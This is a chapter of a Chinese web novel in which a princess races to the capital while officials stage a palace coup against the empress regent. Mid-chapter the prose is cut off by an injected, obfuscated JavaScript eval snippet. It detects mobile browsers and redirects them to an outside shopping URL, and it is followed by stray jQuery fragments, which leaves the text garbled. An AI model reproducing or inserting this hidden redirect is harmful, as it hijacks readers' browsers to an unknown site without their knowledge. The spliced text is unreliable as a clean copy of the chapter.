22.第 22 章
作品:《天幕剧透我娘成了千古女帝》 消失的人没有明面上的理由,这就昭示着最坏的发展——
秋税这场风波最终的局设在京城。
魏若渝宁愿自己想多了,可押送秋税需要人手是不争的事实,寻常情况下各州府自行转运,并不会撞在一起。
但今次情况特殊,这样一伙年轻力壮的人经由钦差的手送进京城,谁也不知道会用在什么地方。
更不要说这些人未必就现在才输送到京城。
逼宫造反,最重要的是要有刀在手不是吗?
山匪这种存在,向来有招安的传统,略加训练就可成军,的确是在体系外最容易找的一把刀。
至于这把刀的目标,不言自明。
所以她必须回京!
然而上天似乎以捉弄她为乐,并不乐见她从焦虑中解脱,又送来了杨巡。
“公主这是为什么事忧心?我这侄儿才来——”
杨巡拉着一个二十余岁的年轻人,满脸都是邀功。
没关系,几句话的功夫,耽误不了什么,魏若渝深吸一口气,摆出架子。
“杨将军的辛苦我看在眼里,只是眼下我有急事要离开,长话短说,杨昭节要是愿意,我一起带回京,若有旁的想法可给我寄信。”
一边说魏若渝一边从腰上解下玉佩,这是她的身份凭证,拿来充当印鉴没有问题。
“这?我这侄儿如何安排。”杨巡倒不会不识趣,只免不了动摇。
公主现在走了,水军那边怎么交代?他得罪的人怎么办?
“放心,本宫忘不了将军的功劳,一定叫陛下知道你的忠心。”魏若渝敷衍着安慰,勉强压下杨巡的想法。
但杨昭节并没有退开,他满脸写着有想法。
“不知公主何事匆忙?”
魏若渝不想耗费时间,把玉佩塞到他怀里,直视他,目光威慑,“恕无法相告。”
杨昭节错开目光,低头捏着玉佩,抬手奉上。
“末将的意思是,若十分要紧,不如走水路。”
真不愧是未来水军将领啊!
魏若渝冷静下来,甚至能分神点评,时机抓得很不错。
就算不能直接走进京城,水路到底能节省时间,还能避开路上可能存在的眼线,反而更符合她的需求,确实是更好的选择。
她语气放缓,却依旧是命令,“那就闲话少叙,立刻跟我们走。”
最好的船在水军,也只有水军的船可以畅通无阻,这一切都需要水军的人去运作,人,她非带不可。
“喏。”杨昭节丝毫不拖泥带水,抬手抱拳后立刻赶回去安排。
希望一切来得及,魏若渝闭目。
京城。
不知为何,近日的气氛总叫人觉得不对劲。
也许是战争的原因吧?最近送了很多东西去西边和北边,某个小贩想,街上的人没少,应该没什么大不了。
“官人来张炊饼吗?”小贩打着哈欠,强打精神推销。
这些当官的还在照常上朝,是他想多了吧?
一向和善的郎官却拒绝了他的推销,只顾沉着脸往皇城方向去。
“怪哉……”小贩嘟囔两句,怎么看着比先前听说党项大军攻来还严肃?
不过今日生意半点不差,不多时就有大汉买走了他全部炊饼,他掂着手里的钱,打了个寒噤,想着冬日快到了,预备去做一件冬衣。
他熟练穿过小巷,去往熟悉的裁缝家中,路上有些奇怪的安静,小贩想了想。
大概是他平时不会在这个时间来这里吧?太早也太暗了。
但不知为什么,他总觉得有些不安,不禁裹紧衣服加快脚步,迅速离开街巷,也因此没能发现某道门缝里冰冷尖锐眼神的机会。
“动作快些!别惹来更多招子!”鹰一样的眼神刮到自己人身上压着嗓子哑声警告。
一股兴奋躁动在院中成群的男人间蔓延。
同样安静中透着古怪的还有数个别院,俱是离皇城不远的地方。
此时,禁中的侍卫开始轮值换岗,白日里的班次总会分给金吾卫,门面嘛~这么安排也没问题。
怪的是今日这些公子们动作还挺迅速,没有丝毫磨蹭就完成了交接,和从前的懒散判若两人。
魏继章强打精神混在其中,这些人什么时候这么积极了?
然而混沌且光滑的大脑并没有让他想太多,即使队伍里有不认识的人,也不足以让这个充满溜号顶班的队伍显得异常。
他们这能有什么重要的事啊,魏继章打着哈欠想。
队伍里两个脸生的顶班者说要出恭时,他同样不以为意,丝毫没有发觉两人行进路径有问题。
只有檐上的脊兽注视着一切。
随着时间流逝,天光渐亮,前殿逐渐有了人气,今日是初一的大朝会,难得大小京官都要入朝站班。
凌知微照例坐在御座旁主持本次大朝,通传西北两线抵御外敌的进展,商议下一批补给后,话题转进冬日祭祀之事。
就在冯居敬拉拉杂杂讲了一堆叫人犯困的事项后,门外传来嘈杂。
一队着甲兵士突然持刀闯入紫宸殿的空间。
异状引来了紫宸殿内所有人的关注,有人惊讶,有人慌乱,也有人平静中压抑着兴奋。
前者里看哪里的都有,严开山就是其中之一,怀疑这是皇后想要解决麻烦。
然而直直看向殿外的皇后却并不像动手之人。
“娘娘……”
不等严开山问出口,冯居敬便朗声开口。
“皇后擅专太过,权倾人主,然牝鸡之晨,惟家之索,今朝野怨沸,若皇后为天下计,当退宫放权!”
话音刚落,几位文官便走出来附和。
“臣附议,请皇后退宫放权!”
甲士冲到门外,强行驱赶门外的低阶官员,这一动作倒是刚好给殿内的大臣解了惑。
合着不是皇后要动手,是某些同僚要篡逆啊!
严开山不得已站出来,看向冯居敬,“守谦你这是做什么?”
不应该啊,这老小子为什么掺和这种事?疯了么?就凭他的猜测?
冯居敬老神在在盯着他,神情里有一丝无法让人理解的傲然,慢吞吞的转过来试图开口。
奈何年轻人总是不能体谅老年人,一位中年侍御史抢在前头。
“严尚书装什么糊涂!我等是在拨乱反正!女主称制妖异,乃乱国之本!”
哦?难道男主就不乱了?
严开山下意识想,这天下的危机又不是皇后理政闹出来的!
旋即他便反应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352408|198457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来,说什么都不要紧,这些人弄来甲士,根本不是为了劝谏,分明是要逼宫!
同样意识到这一点的大臣四下审视,挪动着位置,试图得到一点安全感。
这一动,就显出某些人不同,比起迷茫担忧的同僚,这些人丝毫没有慌乱,目光十分不避讳的盯着御阶上,显而今□□宫,并非一二人的主意。
“你们是要造反吗!”
金兰上前一步,呵斥道。
阶下的男人们丝毫没有退却,似乎哪一方都没有把她看在眼里,只等着皇后的答案。
“皇后意下如何?”
凌知微坐在上首,目光从一张张面孔上扫过,落在外间试图往里冲的陌生甲士身上,声音威严。
“尔等有何冤屈?”
…………
“再快点!”
挂着驿所标识的马匹上,魏若渝焦急往前赶。
冬日的寒风扑在身上,虽然还不至于如刀割,却也叫人通体清凉。
此时已是登岸换马的第三天,连续三日急行,能跟上的只有寥寥十余人,除却侍卫便只有狄花和杨昭节在坚持。
没有任何地方是绝对安全的,脱离大队自然有风险,但魏若渝全然顾不得。
只因她在驿站换马时得知,运粮队在她前面进了直隶范围。
她不敢叫这些人赶在前面进京,只能自己全速往前赶。
当然,她也不会什么都不准备就跑进城,上赶着回来和她娘一起,对心怀鬼胎之人的发难紧绷神经。
那显得她很愚蠢。
所以她现在正在前往京营。
“只有京营有足够的力量。”
面对狄花的疑惑,魏若渝顶着风解释。
城内的禁军受制于地点,一旦事发必定被牵制,且城内人员混杂,她没有任何机会拿到指挥权,她能倚靠的必然是城外的,能够及时进城的人手。
最近且符合条件的,只有京营。
“可,京营怎么会听你的话?”
风送来的声音带走了前一个疑惑,却送来更让狄花迷惑的问题。
没有调令,没有使者,京营擅自离营违例啊!
“由不得他们。”
回应狄花的,是魏若渝坚定有力的宣告。
管他们愿不愿意,程序合不合规,人她都要带走!
风依旧在耳边呼呼作响,马蹄不停,魏若渝此时已感受不到腿内侧的疼痛,唯有心中的紧迫越发清晰。
行至京营驻地外,魏若渝踉跄着稳住身形,强撑着气势。
“叫你们李统领出来!”
岗哨上,士兵狐疑,天子脚下,出现这般嚣张的人不稀奇,可这个穿着男装,一身尘土,好似逃命来的女人是谁?
魏若渝懒得废话,直接亮明身份。
“你们李统领自然认得我!”
但如此紧要关头,士兵却回以沉默,再三催促下,士兵才无奈吐口。
“李统领今日不在营中。”
怎么这么巧!
魏若渝摸着左手空荡的手腕,似乎安抚自己,会有办法的,京营也不是一个统领说了算。
可下剩的人又不合适……
思绪几经流转,魏若渝终于想起一个人来。
“刘夫人可在?”

